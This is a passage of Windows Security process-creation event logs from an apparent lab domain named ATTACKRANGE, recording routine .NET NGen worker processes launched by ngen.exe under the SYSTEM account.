	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1250
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 778 -InterruptEvent 0 -NGENProcess 760 -Pipe 770 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255105
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 790 -InterruptEvent 0 -NGENProcess 694 -Pipe 74c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255104
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb44
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 700 -InterruptEvent 0 -NGENProcess 778 -Pipe 6f8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:42 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255107
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1344
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 754 -InterruptEvent 0 -NGENProcess 78c -Pipe 6c8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:42 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255106
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3f4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 700 -InterruptEvent 0 -NGENProcess 760 -Pipe 6c0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255109
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 784 -InterruptEvent 0 -NGENProcess 7a4 -Pipe 790 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255108
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 75c -InterruptEvent 0 -NGENProcess 798 -Pipe 694 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255113
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x84c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7b0 -InterruptEvent 0 -NGENProcess 7ac -Pipe 7c0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255112
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 778 -InterruptEvent 0 -NGENProcess 78c -Pipe 764 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255111
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbe0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 794 -InterruptEvent 0 -NGENProcess 648 -Pipe 76c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255110
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 778 -InterruptEvent 0 -NGENProcess 764 -Pipe 720 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255119
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1028
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 7b4 -Pipe 760 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255118
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11f8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7c4 -InterruptEvent 0 -NGENProcess 6b0 -Pipe 784 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255117
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc28
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7ac -InterruptEvent 0 -NGENProcess 754 -Pipe 7d0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255116
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 760 -InterruptEvent 0 -NGENProcess 79c -Pipe 794 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255115
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7a8 -InterruptEvent 0 -NGENProcess 784 -Pipe 778 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255114
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 6b0 -Pipe 798 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255123
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7e0 -InterruptEvent 0 -NGENProcess 7c4 -Pipe 7dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255122
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa50
